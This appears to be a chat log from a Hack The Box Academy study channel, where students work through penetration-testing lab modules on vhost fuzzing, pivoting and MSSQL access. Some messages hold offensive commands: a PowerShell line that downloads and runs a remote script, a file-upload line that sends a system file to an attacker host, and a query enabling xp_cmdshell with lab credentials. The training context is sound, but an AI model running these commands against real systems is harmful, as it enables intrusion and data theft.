#modules

1 messages ยท Page 245 of 1

fathom pendant
#

most standard queries are fine

#

it's just selecting and showing info like columns is a bit more of a pain

valid viper
#

I guess it makes me feel insecure because it's so alien I wonder if I need to take a class on it to be able to use it in an offensive context.

strange forge
#

Mssql is just ______

valid viper
#

Is knowing a dozen commands enough?

quasi wave
#

ok its giving me the apache webpage so its not working

fathom pendant
#
select * from [table] where [column name] = '<query>'
fathom pendant
quasi wave
#

ok

#

how do I get the right filter?

fathom pendant
#

there's a bash loop with curl they use; you only really need to loop it for a minute to see what the filter should be

#

note you might need to add -E to the echo portions

#

as sometimes it doesn't do the newline thing

#

or something like \\n might work

fathom pendant
#

indeed

#

that's a generic SQL query that would work in MSSQL and MySQL/MariaDB

viscid horizon
#

To start bug bounty there is any prequestis

valid viper
#

And also, how do I show all databases?

viscid horizon
fathom pendant
valid viper
fathom pendant
#

it's literally in the Footprinting module ยฏ_(ใƒ„)_/ยฏ

#

and expanded on in the Attacking Common Services module

strange forge
fathom pendant
strange forge
#

list databases is such a beauuty

viscid horizon
fathom pendant
#

though i think depending on the tool used there might be some internal commands specific to the tool that makes enumeration easier

fathom pendant
viscid horizon
#

After I can learn pentesting or bug bounty

fathom pendant
#

yep

#

depends what interests you more

#

BB is web domain stuff, Pentesting is Active Directory/networked environments

viscid horizon
#

I will pentesting and bug bounty
It will be Pentesting web

is that great

fathom pendant
#

"Pentesting Web" that's not how that works

#

Pentesting, in this context, solely refers to exploiting a vulnerable server to obtain and pwn a domain

#

with Bug Bounty the focus is SOLELY on just finding and exploiting with no major system compromise (except maybe exposed files through LFI/RFI/etc)

strange forge
#

btw anyone has seen the senior web penetration testing content. How is it compared with Portswigger?

valid viper
viscid horizon
fathom pendant
#

Bug Bounty and Pentesting are two separate things

quasi wave
# fathom pendant as sometimes it doesn't do the newline thing

I changed my command to this and its still not working:

โ”Œโ”€[us-academy-2]โ”€[10.10.15.78]โ”€[htb-ac-605555@htb-fxzlqz9u4y]โ”€[~]
โ””โ”€โ”€โ•ผ [โ˜…]$ cat /opt/useful/SecLists/Discovery/DNS/namelist.txt | while read vhost;do echo -E "\\n********\nFUZZING: ${vhost}\\n********";curl -s -I http://10.129.89.192 -H "HOST: ${vhost}.inlanefreight.htb" | grep "Content-Length: ";done
viscid horizon
#

I knew but why I said pentesting web cause its like bug bounty

fathom pendant
cloud urchin
fathom pendant
#

that too

fathom pendant
dim wolf
fathom pendant
#

^

viscid horizon
fathom pendant
viscid horizon
#

What different between bug bounty and pentesing web

fathom pendant
#

Web App Pentesting though is something you're hired for

dim wolf
#

haven't taken either. but i assume yes

fathom pendant
#

Bug Bounties are just public bounties to find security vulnerabilites in a webapp

#

also often with Web App Pentesting you're given the source code

viscid horizon
cloud urchin
twin lion
#

i'm on the 1st ad skills assesment. I need to access a mssql instance that is only available through the network of the host I own.
i used chisel to open a socks5 tunnel
./chisel server -v -p 1234 --socks (attack)
.\7zip.exe client -v 10.10.16.41:1234 socks (target)

then put this line in my /etc/proxychains.conf
socks5 127.0.0.1 1080

in the output of the client, i can see it's pointing 127.0.0.1:1080 to my socks tunnel but when i run proxychains nmap -sT -F on the hosts I found through a ping sweep I get connection refused. I also just tried running mssqlclient with the creds but still nothing.

Fixed by using meterpreter routing & socks proxy. After cracking svc_sql pass don't let the 1433 port in the question confuse you, you need to rdp into MS01.

fathom pendant
tender raptor
#

This is gonna be mad fun when I know what Iโ€™m doing sadglas

strange forge
tender raptor
#

Still better than pre-med

dim wolf
#

don't worry

fathom pendant
#

tfw syntax error

dim wolf
#

i can safely say that i had a very bad time on this week's box

tender raptor
#

mfw the documentation for this api is out of date

viscid horizon
#

@fathom pendant

fathom pendant
#

instead of ipaddress, you type ipadress

fathom pendant
#

don't just ping me without having a question

#

or responding to something

quasi wave
#

is this the right command:

โ”Œโ”€[us-academy-2]โ”€[10.10.15.78]โ”€[htb-ac-605555@htb-fxzlqz9u4y]โ”€[~]
โ””โ”€โ”€โ•ผ [โ˜…]$ ffuf -w /opt/useful/SecLists/Discovery/DNS/namelist.txt -u http://10.129.89.192 -H "HOST: FUZZ.inlanefreight.htb" -fs 10198
fathom pendant
#

ยฏ_(ใƒ„)_/ยฏ

#

remember: try first - ask if failed

tender raptor
#

It broke everything, I have no more computer

fathom pendant
tender raptor
#

Frโ€ฆ

viscid horizon
fathom pendant
#

Utilize Google

quasi wave
fathom pendant
tender raptor
#

Does gpt help

fathom pendant
#

gpt isn't a search engine

tender raptor
#

I mean for troubleshooting

fathom pendant
#

except with this new filter

viscid horizon
fathom pendant
#

that's the only thing you change

fathom pendant
tender raptor
#

Try stuff until it works ๐Ÿ˜ˆ

fathom pendant
#

GPT can be wrong

quasi wave
#

I am trying this because I found a hidden page but it gives me apache:

curl -s http://10.129.89.192 -H "Host: hidden.inlanefreight.htb"```
#

that's my thing

fathom pendant
#

and if it's broken, you don't wanna Fubar it

quasi wave
#

I know

viscid horizon
#

pentesting in web mean that

Implent vulnerablity I'm right

cloud urchin
fathom pendant
#

but i don't recall -hidden- being one of the vhosts

viscid horizon
#

If I learned two bug bounty and pentesting it will be great thing for two certfications

fathom pendant
#

the pentesting cert from HTB does not assist with web app pentesting

#

it is a completely separate topic

cloud urchin
fathom pendant
cloud urchin
fathom pendant
#

then yeah it's gonna be the apache page

cloud urchin
#

if the IP is hosting multiple subdomains, visiting the IP is just going to bring up apache instead of the virtual site

cloud urchin
#

ahh yeah good point

fathom pendant
#

i'm reading it as "the curl result is giving the apache default page"

#

not "i'm visiting this in browser and getting the apache page"

civic locust
#

Guys! Please... Command injections, skill assesment. I am trying to ...

cloud urchin
#

you might want to remove that as it may be considered spoilers (gives the injection point away)

civic locust
#

What am i doing wrong in this live? I have already found execution point but this... makes me wanna cry

civic locust
#

can i do like that?

cloud urchin
#

i would simplify your payload, yours looks pretty complicated and the filter isn't that crazy

twin lion
civic locust
#

I can't break out of inlined command

fathom pendant
#

as I didn't add anything to my /etc/hosts and was able to visit a valid answer subdomain with the right Host header

cloud urchin
#

i figured he was using it as a placeholder to not spoil

twin lion
fathom pendant
vernal meteor
#

Somebody knows how i can doenload ysoserial

quasi wave
#

I have tried many variations on the same command and its some version of this:

โ”Œโ”€[us-academy-2]โ”€[10.10.15.78]โ”€[htb-ac-605555@htb-fxzlqz9u4y]โ”€[~]
โ””โ”€โ”€โ•ผ [โ˜…]$ cat /opt/useful/SecLists/Discovery/DNS/namelist.txt | while read vhost;do echo -E "\\n********\\nFUZZING: ${vhost}\\n********";curl -s -I http://FUZZ.inlanefreight.htb -H "HOST: ${vhost}.inlanefreight.htb" | grep "Content-Length: ";done

Its not getting me the results tho. I also try variations on this:

โ”Œโ”€[us-academy-2]โ”€[10.10.15.78]โ”€[htb-ac-605555@htb-fxzlqz9u4y]โ”€[~]
โ””โ”€โ”€โ•ผ [โ˜…]$ ffuf -w /opt/useful/SecLists/Discovery/DNS/namelist.txt -u http://10.129.89.192 -H "HOST: FUZZ.inlanefreight.htb" -fs 10918

Its not giving me any flags. I am trying all sorts of URLs with variations of this:

โ”Œโ”€[us-academy-2]โ”€[10.10.15.78]โ”€[htb-ac-605555@htb-fxzlqz9u4y]โ”€[~]
โ””โ”€โ”€โ•ผ [โ˜…]$ curl -s http://10.129.89.192 -H "Host: buggalo.inlanefreight.htb"
#

I don't get it

cloud urchin
#

are you getting subdomains returned?

quasi wave
#

yes

cloud urchin
#

so the command is working..

quasi wave
#

ok

cloud urchin
#

what section are you on

quasi wave
#

virtual hosts

#

for information gathering - web edition

sly nebula
#

I could use some help on "Active DIrectory Trust Attacks" - "Skill Assessment", question 2. I'll explain what I have tried so far.

cloud urchin
# quasi wave yes

so what's the issue then? the command worked and showed you the vhost

fathom pendant
quasi wave
#

ok

#

let me change the first command then thank you for pointing me in the right direction

cloud urchin
#

you don't need to do that, you said you got the vhost results from ffuf already

#

you're just going to enumerate the same thing

fathom pendant
quasi wave
#

because I have tried dozens of vhosts

cloud urchin
#

if you got a valid list of subdomains, you can use the curl command on the subdomain to get the flags there

zealous rune
#

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

#

this downloads to memory executes PSUpload.ps1

#

which means this command can be run

zealous rune
#

Invoke-FileUpload -Uri http://192.168.49.128:8000/upload -File C:\Windows\System32\drivers\etc\hosts

quasi wave
#

But I thought I was doing that

zealous rune
#

becaue Invoke-Fileupload is a function in my session now

quasi wave
#

And it gave me apache

zealous rune
#

this works i tested it. But what didn't work was downloading the powershell script

#

and executing locally like this .\PSUpload.ps1

fathom pendant
#

because your initial fs was wrong

#

the new fs in your ffuf command is correct and should yield results

#

also ffuf likes to be funky if not in fullscreen

civic locust
#

Am i overcomplicating again? ๐Ÿ˜ฆ

cloud urchin
#

no, but your command looks strange. why are you copying a file to a random dir that may or may not exist instead of just reading the flag

viscid horizon
#

So is tells that vulnerablity for pentesting

viscid horizon
fathom pendant
#

that's part of the process

#

you probe the app for vulnerabilities

viscid horizon
#

But the bug bounty report the bug

fathom pendant
#

you report a bug/vulnerability you find

civic locust
fathom pendant
#

don't

cloud urchin
#

lmao

viscid horizon
fathom pendant
#

i'm already on low enough patience lol

viscid horizon
fathom pendant
cloud urchin
#

i bet Marcie woulda been done with pentester's path a month ago if they weren't in this channel

viscid horizon
fathom pendant
viscid horizon
#

And I love the bug bounty

fathom pendant
#

I spent a solid 4 months without internet even, probably longer

#

and let me tell ya, tethering and trying to do HTB academy is NOT fun

cloud urchin
#

saw one guy in here doing the path on his phone

viscid horizon
#

Because I love pentesting

fathom pendant
#

You don't know anything about it, how can you love it lol

viscid horizon
fathom pendant
civic locust
#

i am at 80 percents, currently, if someone is interested

#

and my challenge is to finish it till 10 of the May

viscid horizon
#

The thing is test the vulnerbality and check it if it cable for hacking

vague sage
viscid horizon
#

I will learn about whatever it takes

#

๐Ÿ˜‰

zealous rune
#

gonna take a break

#

and try a machine on the main platfrom

fathom pendant
zealous rune
#

ah

fathom pendant
#

PSUpload is a powershell module, not an executable

cloud urchin
#

that IEX command does import it btw

fathom pendant
#

does it? i didn't read

zealous rune
#

yh this is my ignorance of powershell

civic locust
cloud urchin
#

yeah it downloads and imports it into the current session

zealous rune
#

so actually if i have the module as a file locally i would run IEX to import the module also?

fathom pendant
cloud urchin
zealous rune
#

ok i see

cloud urchin
#

the IEX command downoads AND imports it

zealous rune
#

Import-Module

#

i want this

cloud urchin
#

many of the modules will have a c:\tools folder with various powershell scripts, if that's the case you can simply import the file

zealous rune
#

i guess

cloud urchin
zealous rune
#

i need a crash course in pshell

fathom pendant
#

if it's imported then you just need to use Invoke-Fileupload

cloud urchin
fathom pendant
civic locust
fathom pendant
#
zealous rune
#

thx

#

i'll do a little study on pshell

cloud urchin
zealous rune
#

it will be useful. it's just that i know practically nothing

cloud urchin
#

not going to work like that

civic locust
cloud urchin
#

you can DM me so you don't have the post that here

civic locust
#

thx!

quasi wave
#

I get a list of subdomains but I don't see how I am supposed to pick out right subdomain:

โ”Œโ”€[us-academy-2]โ”€[10.10.15.78]โ”€[htb-ac-605555@htb-fxzlqz9u4y]โ”€[~]
โ””โ”€โ”€โ•ผ [โ˜…]$ ffuf -w /opt/useful/SecLists/Discovery/DNS/namelist.txt -u http://10.129.89.192 -H "HOST: FUZZ.inlanefreight.htb" -fs 10918
โ”Œโ”€[us-academy-2]โ”€[10.10.15.78]โ”€[htb-ac-605555@htb-fxzlqz9u4y]โ”€[~]
โ””โ”€โ”€โ•ผ [โ˜…]$ cat /opt/useful/SecLists/Discovery/DNS/namelist.txt | while read vhost;do echo "\\n********\\nFUZZING: ${vhost}\\n********";curl -s -I http://10.129.89.192 -H "HOST: ${vhost}.inlanefreight.htb" | grep "Content-Length: ";done
โ”Œโ”€[us-academy-2]โ”€[10.10.15.78]โ”€[htb-ac-605555@htb-fxzlqz9u4y]โ”€[~]
โ””โ”€โ”€โ•ผ [โ˜…]$ curl -s http://10.129.89.192 -H "Host: classifieds.inlanefreight.htb"

fathom pendant
fathom pendant
#

again i can confirm that the wordlist and your ffuf command should be correct

#

so either your host silently died on you or something is wrong as I literally just sanity checked this

rich chasm
#

I'm somewhat new here, which channel can I talk about the Pro Labs?

fathom pendant
wind plinth
#

I purchased the annual gold plan for the benefit of the solution assistance, but I am not seeing any modules that have this feature. Do I need to wait a certain time for it to activate or should it be instant?

cloud urchin
wind plinth
fathom pendant
#

You can literally just go through, find the answer, and copy/paste without touching the box

#

They didn't do any QA on the feature

limber river
#

how that even possible ?

#

48 modules like 1,5 module per day

fathom pendant
limber river
fathom pendant
#

Also some modules are relatively easier than others

valid viper
fathom pendant
#

not impossible ยฏ_(ใƒ„)_/ยฏ

fathom pendant
limber river
valid viper
#

I'm not as good as you are with things I've never been exposed to before.

fathom pendant
#

I would prefer it to be a collapsible list of steps

valid viper
#

The whole dial into MSSQL via PS...I would not have figured that out.

fathom pendant
#

ยฏ_(ใƒ„)_/ยฏ

valid viper
#

I didn't see it in there.

cloud urchin
cloud urchin
#

dang. i completed like 25 modules in a month and didn't get an email

#

and i'm out of modules lol

limber river
cloud urchin
#

no, i didn't get that email

limber river
#

maybe you need to subscribe somewhere idr

valid viper
#

KangZ!

cloud urchin
#

it was a grind lol

fathom pendant
valid viper
#

Alright, I searched for it and couldn't find it. I'll take a closer look.

fathom pendant
#

Sqlcmd

#

From: the sql section and the intro section

fathom pendant
valid viper
#

๐Ÿ˜

#

I stand corrected.

fathom pendant
#

:3

#

It'd be weird if the section about sql didn't teach you how to connect to sql

valid viper
#

It happens. I'm having to finish the course while starting a new job and planning a move. I was bound to miss something.

fathom pendant
#

Take it slow

valid viper
#

MSSQL though, ugh.

fathom pendant
#

Don't rush

#

Even if you gotta pick it back up later

valid viper
#

I'll go as slow as I can afford to. I need to get on with Synack.

valid viper
#

I'm sick of sysadmin.

#

I did a blue team ticket today and then the security guy says 'No, don't look at the logs on the endpoint. That's my job.'

#

๐Ÿ˜

#

I need six months with Synack and a CVE.

#

Then I'll be ready to handle my action.

fathom pendant
#

i mean I'd think part of sysadmin would be security, or at least understanding what may have tripped something ยฏ_(ใƒ„)_/ยฏ

fathom pendant
#

good luck getting a CVE ig

cloud urchin
#

it was their way of saying they didn't want to pay for certs

fathom pendant
valid viper
fathom pendant
#

did you at least pass the info you found off to him?

valid viper
#

Yes.

fathom pendant
#

he should have been faster at his job to grab his ticket ยฏ_(ใƒ„)_/ยฏ

valid viper
#

Well no it was my ticket.

fathom pendant
#

like assigned to you?

valid viper
#

That was the thing :/

fathom pendant
#

not just you plucked it from the pool?

valid viper
#

Basically. There's no dispatcher.

fathom pendant
#

i'd go to your manager tbh

valid viper
#

Yeah they say they need a better SOP.

fathom pendant
#

Honestly sounds like simple ticket delegation as well

#

that way sysadmin doesn't get a security ticket

#

i.e. a flag system that sorts it into a bucket

valid viper
#

It was a fraudulent email.

#

It was neat because it originated internally, but no rogue logins.

fathom pendant
#

IT.sec, IT.sys, IT.sup

#

forged headers

valid viper
#

None of that exists at my MSP.

valid viper
fathom pendant
#

spoof

valid viper
#

We checked the headers.

fathom pendant
#

ยฏ_(ใƒ„)_/ยฏ

#

if it's a well enough spoof then it's not gonna be noticeable easily

valid viper
#

Possibly a spoof, but I doubt it. Apparently this has happened with this person 3 times before.

cloud urchin
#

sounds like mr log checker didn't do his job the first 2 times then

fathom pendant
#

well then could be a compromised host

valid viper
#

Bro he didn't even check the scan I don't think.

valid viper
fathom pendant
#

ยฏ_(ใƒ„)_/ยฏ

cloud urchin
#

sounds like BEC

fathom pendant
#

BEC?

cloud urchin
#

BEC = business email compromise

fathom pendant
#

AH

valid viper
#

Nothing showed up in Entra or Exchange.

fathom pendant
#

anyway; this is veering far off-topic

#

you should verify your account so you can hang out in the brainrot that is #general

valid viper
#

Anonymity is everything.

fathom pendant
#

yeah but the brainrot is fun

#

and allows you to take part in more off-topic conversations

valid viper
#

This is on topic though.

#

Who has more creds than IT Glue other than the Feds?

fathom pendant
#

the topic of this channel

#

which is academy modules

valid viper
#

Sorry. I'll go back to /b/

patent niche
#

Which number they are expecting I tough was count for DELETE FILES

heavy marsh
#

When did they add walkthroughs on the modules?

#

For the end of section questions?

#

I don't know how I was supposed to figure out the FILE PREVENTION INCLUSION section's second question without it. So much detail in there that wasn't in the module! Thanks HTB!

#

Honestly way better than the previous option.

heavy marsh
#

Oh weird, I must only be getting notifications for the overall HTB Discord announcements!

fathom pendant
#

so while it may not have been directly in the module it's assumed you should have known from somewhere

heavy marsh
fathom pendant
#

ยฏ_(ใƒ„)_/ยฏ

#

my gripe is that they mostly seem half-assed

heavy marsh
#

What is the difference between "view page source" and the page source code?

#

Looking at the Source Code Disclosure section of the PHP filters section, seems like there's no need to get base64 encoded source code if you can just right click and pull the source code

#

Is this HTML vs PHP source code?

fathom pendant
#

i think source code dives into the actual code of the page

#

i.e. the backend api

#

whereas page source is just "hi this is the page you're looking at"

dim wolf
#

page source is whatever is rendered to you. source code contains what you see and all the backend logic

#

general rule of thumb

fathom pendant
#

ah so i was fairly close

heavy marsh
#

Cool, thanks @dim wolf and @fathom pendant

fathom pendant
#

but the AD enum module is CHONKY

#

because it's building off basic AD knowledge and going "hey look at this cool thing"

heavy marsh
#

So is some of the source code PHP and some HTML in that case, or is it just "hidden" HTML on top of the HTML?

fathom pendant
#

"wait you can do that?" has been said by me many times

fathom pendant
dim wolf
#

you will not see any PHP in a page source

fathom pendant
#

usually a reference maybe

dim wolf
#

all of that is handled by the backend

#

and if there is it's what marcie said

#

or it's commented out

fathom pendant
#

but even then that's hidden in the comment tags or buried

#

best way to know what is on the backend: dev-tools -> network tab -> load page

heavy marsh
#

I'll have to brush up on my HTML structure then, I don't quite understand how the HTML nests

#

I know it's not something I necessarily need 100% but I hate not knowing how things like that work

#

It's frustrating

fathom pendant
#

interact with something; see the call -> hey it looks like there's <codebase> on the backend

#

often if there's a backend involved it's done on the Config level

cloud urchin
#

there's front end and back end. it's what you see, vs what the server is doing. when you right click and "view source" you only see what your browser sees, you don't see the back end logic

quasi wave
fathom pendant
#

you have all the information you need to feed to ffuf

quasi wave
#

ok

fathom pendant
#

the second command is purely an information gathering command

quasi wave
#

I thought I was running ffuf. Ok got it.

fathom pendant
#

the second command i referred to was the loop command

quasi wave
#

ok

quasi wave
#

ok I completed the whole module

#

I cat catting out the wrong file. I managed to get the right file to cat out.

#

worked great. I am now on next section.

strange forge
#

in the pivoting module. it says Downloading Payload from Windows Target
We can download this backupscript.exe from the Windows host via a web browser or the PowerShell cmdlet Invoke-WebRequest. rdp port is not open on inside ip. where to execute this?

limber surge
#

FOOTPRINTING ย  > Footprinting Lab - Easy

can someone hint me regarding this module

Enumerate the server carefully and find the flag.txt file. Submit the contents of this file as the answer.

i tried ftp but i face into this.

ftp> ls -R
229 Entering Extended Passive Mode (|||19187|)
150 Opening ASCII mode data connection for file list
226 Transfer complete

Then, cant do much

limber surge
#

ohook

#

do u know which directory to look for.

strange forge
fathom pendant
#

also enumeration is the key, which is the point ofthe module

#

enumerate, iterate, repeat

#

it's a few steps once you see everything

#

it might also help to be on the right port as well

#

i hope you scanned

little bear
#

Marcie, out of the blue quick question: What is your personal reflection of the Documentation & Reporting Module? Wanted to share opinions briefly

limber surge
limber surge
fathom pendant
#

i've been putting my progress on the side rn

loud dagger
#

does anyone else ever not understand anything until they actually try it
like you'll read a module about something and it's just words but it makes perfect sense when you do the examples
is this normal

#

apparently that's what being a hands-on learner is.

fathom pendant
little bear
#

Hmmm... More like fire fire fire... water hose, fire, water hose water hose water hose water hose water hose water hose water hose water hose water hose..... fire.

fathom pendant
loud dagger
#

like idk i'm just reading about active directory and none of it makes sense yet because they're just saying stuff like "thing x is maintained by thing y" but they don't tell me what thing x or thing y are

fathom pendant
#

and if you're confused by a certain option: man <command> or <command> -h/--help

#

oh in powershell

loud dagger
#

actually it's usually not commands, it's usually theory i have trouble reading through

#

Get-Help

fathom pendant
#

i believe it's Get-Help <command> or something like that

loud dagger
#

no the commands and stuff are what i'm actually good at understanding

fathom pendant
#

ah so why does this work

loud dagger
#

yeah kinda

little bear
#

I wouldn't mind try to work on my communication and recollection skills tomorrow/over the weekend if we have some time.

#

I could use the practice. It wouldn't be 100% fool proof

loud dagger
#

more just like definition after definition and the definitions contain definitions that they never defined

little bear
#

more like 65% confidence, the rest researching, standard pentest process, etc

fathom pendant
#

pretty much most powershell output is xml

loud dagger
#

no not powershell i'm actually pretty good at powershell

little bear
fathom pendant
#

yeah, event logs? just fancy xml

loud dagger
#

pretty much

little bear
fathom pendant
#

powershell is just really efficient at sorting xml

loud dagger
#

the practical stuff like learning commands are the stuff i'm good at

#

it's just a ton of definitions and stuff

fathom pendant
#

but nothing wrong with doing external research if something just doesn't click

loud dagger
#

yeah i've been doing a lot of that

little bear
#

^^^^^^^^^

loud dagger
#

i've found the microsoft docs usually do a way better job at explaining AD stuff than hackthebox

fathom pendant
#

HTB does tend to introduce concepts but don't fully define them (and then in a later module, they're defined really well)

loud dagger
#

yep

fathom pendant
#

i wouldn't worry too much about it

little bear
#

I've had a hit/miss relationship with Microsoft, but I'd agree, most AD information is decent.

fathom pendant
#

the real meat and potatoes of it is in the AD enum and attacks module

little bear
#

^^

fathom pendant
#

the intro is just to give a broad overviiew of AD

loud dagger
#

that is reassuring

fathom pendant
#

AD enum and attacks actually dives into some more stuff like Domains and Domain trusts within Forests

#

literally like 3 sections in the AD enum module is dedicated to talking about inter-domain trusts

loud dagger
#

i've heard HTB has some seriously Big Boy AD modules

fathom pendant
#

and Parent-Child relationships

#

i think the AD-Enum module has like 30 sections kek

fathom pendant
little bear
#

@fathom pendant Lmao

loud dagger
#

AD enum and attacks is the biggest HTB academy module

fathom pendant
#

everything else had some practical element to practice with it

#

ldap query? it's got you covered

little bear
#

We love Ldap! My bad, lmao

loud dagger
#

ok perfect because that's how i learn

fathom pendant
#

GenericWrite and how to abuse it? boom

#

an entire section dedicated to DCSync

loud dagger
#

like just reading how to do stuff doesn't do shit for me i have to actually do it

fathom pendant
#

also it's layered in a way of: footprinting, enumeration, attacking, lateral/vertical movement, domain elevation

#

also pivoting can play a huge role (at least for the exam)

#

and the whole AD enum module is one large inter-connected lab

#

so saving creds is really helpful

loud dagger
#

four password spraying sections and four attacking trusts sections
and don't forget the new entire module on attacking trusts

fathom pendant
#

(you can even sniff out creds/hashes for later sections)

little bear
#

Gonna go write it down fingerguns

loud dagger
fathom pendant
#

the module will sometimes provide/expect you to connect to a joined attack box

fathom pendant
#

having a file for those is helpful

#

hashcat has an output mode (-o) that you can save cracked files to

loud dagger
#

if it's something i do or come across during a lab i write it down

loud dagger
fathom pendant
#

it definitely helps so you don't gotta look through buried notes kek

#

oh you wrote it down 12 hours ago in the middle of this WALL OF TEXT

loud dagger
#

lmao

#

yeah my obsidian notes are hyper organized specifically to avoid that exact problem

fathom pendant
#

also another module to be wary of reused passwords throughout is the Password attacks module, there are 2 hosts, linux and windows the linux ones are all inter-connected and the windows are all inter-connected

loud dagger
#

noted!

fathom pendant
#

that way I don't gotta tab out for it

loud dagger
#

oh i don't use a vm lmao

#

i know people here get mad at me for that but i don't care

fathom pendant
#

it's generally preferable (and safer) to use a vm; but you do you

#

ยฏ_(ใƒ„)_/ยฏ

loud dagger
#

i personally can't stand using vms

fathom pendant
#

while it is against ToS to target other academy users, it can still happen

loud dagger
#

i talked to a bunch of people and they said they've never heard of that happening and that's pretty much just there for legal reasons

fathom pendant
#

well yeah

#

it almost never happens but it's more of a habit forming thing than anything

loud dagger
#

i guess

#

idk maybe i'll migrate all this shit to a vm eventually

fathom pendant
#

I'd rather not expose my direct system to a vm

#

and having my notes saved on a "separate" drive to my vm/work helps in case I have to reinstall

#

so i don't lose notes

loud dagger
#

yeah i have a plugin that backs up my notes to dropbox automatically

#

i mean if i'm ever planning on entering an actual corporate environment or working with malware or something then i'm going to use a vm but right now it's pretty low on my priority list

fathom pendant
#

but if your setup works for you then I can't really force you to use a vm ยฏ_(ใƒ„)_/ยฏ

#

and yeah; working with malware it's an absolute must you either A work on a VM or B work on a sacrificial lamb computer that's not connected to a network

#

A VM is better as you can easily restart a vm from a snapshot if you goof and the malware bricks it

loud dagger
#

yeah no chance i'm working with malware on a production pc

#

i have almost no problem switching to a vm as long as there's some way i can relatively easily just transfer all of the tools and shit i have installed from my ssd to a vm

fathom pendant
#

also the CDSA labs i believe are working with pre-sampled/logged malware or very safe PoC

loud dagger
#

and i haven't really taken the time to figure out the easiest way to do it

#

like if i could just sudo cp / [???]

#

i guess i could probably set up a shared folder

fathom pendant
#

apt list --installed | grep -v "Listing" > installed.list

#

and I've had relative success at least just copying my /home/user folder to new installs

#

and just doing the minor setup for other stuff

loud dagger
#

yeah i mean i have almost nothing saved in my home directory

#

besides documents, pretty much everything is empty

fathom pendant
#

if you're telling me you run around your system as root, we are no longer friends /hj

loud dagger
#

i do not for the record

#

i just don't have a lot of stuff installed on here

#

like i have a ton of tools and notes but that's it

fathom pendant
#

but in reality it's not much, just identify the important config files that you absolutely need if you really have to

#

but as far as copying the whole of / i'm unsure how that would work migrating to a vm

loud dagger
#

yeah me neither

#

i mean in theory i could just copy each folder in / at a time

fathom pendant
#

ik virtualbox has a file manager thing to where you can copy things over

loud dagger
#

yeah that and i could always just do a shared folder

fathom pendant
#

i generally don't share folders between host/vm ยฏ_(ใƒ„)_/ยฏ

loud dagger
#

hmmm

fathom pendant
#

but using dropbox, like you do for backups, sounds like a happy medium

loud dagger
#

that could work

fathom pendant
#

in theory though you should be able to drop the files right into /

loud dagger
#

surprisingly my entire root directory is only 54gb

fathom pendant
#

and since it's a VM, no harm no foul

loud dagger
#

true

#

can you use a flash drive with a vm
like if i plug a flash drive into my computer will it show up in a vm

#

that's another option
surely there's a way to do that

#

let's find out

#

oh yep it's possible
maybe i'll just get a 64gb flash drive or something
this doesn't sound so bad

sleek moss
#

โ””โ”€$ python /usr/share/doc/python3-impacket/examples/mssqlclient.py damundsen@10.129.243.57 -windows-auth

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

Password:
Traceback (most recent call last):
File "/usr/share/doc/python3-impacket/examples/mssqlclient.py", line 94, in <module>
ms_sql.connect()
File "/usr/lib/python3/dist-packages/impacket/tds.py", line 538, in connect
sock.connect(sa)
ConnectionRefusedError: [Errno 111] Connection refused

Authenticate to 10.129.243.57 with user "damundsen" and password "SQL1234!"

  • 0 Leverage SQLAdmin rights to authenticate to the ACADEMY-EA-DB01 host (172.16.5.150). Submit the contents of the flag at C:\Users\damundsen\Desktop\flag.txt.
    Active Directory Enumeration & Attacks

    Page 23
    Privileged Access

Privileged Access

cloud urchin
#

it says in your error message

fathom pendant
#

remember you're in a domain environment, there's likely a dedicated SQL server

#

(it also shows in the example command)

#

this is assuming you have either a pivot on the network OR are connected to the provided attack host

#

the attack host is the same as from the previous section

#

again, never make assumptions

#

also it says it RIGHT THERE in the question

fathom pendant
#

also the flag for this answer might make you chuckle

sleek moss
#

i c ok danke also
Tools\PowerUpSQL> Get-SQLQuery -Verbose -Instance "ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
VERBOSE: ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL,1433 : Connection Failed.
PS C:\Tools\PowerUpSQL> Get-SQLQuery -Verbose -Instance "ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL,1433" -username "inlanefreight\damundsen" -password "SQL1234!" -query "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;"
VERBOSE: ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL,1433 : Connection Failed.
PS C:\Tools\PowerUpSQL>

ComputerName : ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL
Instance : ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL,1433
DomainAccountSid : 1500000521000170152142291832437223174127203170152400
DomainAccount : damundsen
DomainAccountCn : Dana Amundsen
Service : MSSQLSvc
Spn : MSSQLSvc/ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL:1433
LastLogon : 4/10/2022 3:50 PM
Description :
why it failed?

fathom pendant
sleek moss
#

but i den ill need to chisel then

#

right? or port forward

fathom pendant
#

nope

#

there's a provided linux host on 172.16.5.225

#

see the previous section for credentials

#

yes this attack host is persistent throughout the module

sleek moss
#

pl damle

fathom pendant
#

also

#

you can just use the IP,PORT as the instance name

#

it's also likely not ACADEMY-EA-DB01.INLANEFREIGHT.LOCAL just ACADEMY-EA-DB01

sleek moss
#

ok danke

fathom pendant
#

also, for the love of god

#

please just fucking wrap large blocks of text in ```

#

so it's more easily readable

sleek moss
#

will do in future also amใ‰ฟkali)-[~]
โ””โ”€$ ping 172.16.5.225
PING 172.16.5.225 (172.16.5.225) 56(84) bytes of data.
dat no work..

fathom pendant
#

jesus fucking christ

#

connect to 172.16.5.225 FROM THE WINDOWS HOST

sleek moss
#

ohh i c

fathom pendant
#

you don't have access to that subnet without a pivot

sleek moss
#

danke

fathom pendant
#

also I implore you to just read the fucking page and the question

sleek moss
#

pl damle

fathom pendant
#

no idea what thwat means

sleek moss
#

lok danke]

cloud urchin
fathom pendant
#

it will be highly useful to your future in this course

#

and for the exam

sleek moss
#

u r right danke for all ur jelp and advice so far

fathom pendant
#

this is not the first time that you've had to be told to just read

fathom pendant
full echo
#

Perform dynamic analysis.

#

wget is an alias of Invoke Webrequest. So you have to use the following syntax
iwr -Uri http://<your-box>/additional_samples -Outfile samples.zip

#

Does the shellcode like similar to the one in the section?
If yes, then did you remove all whitespaces?

#

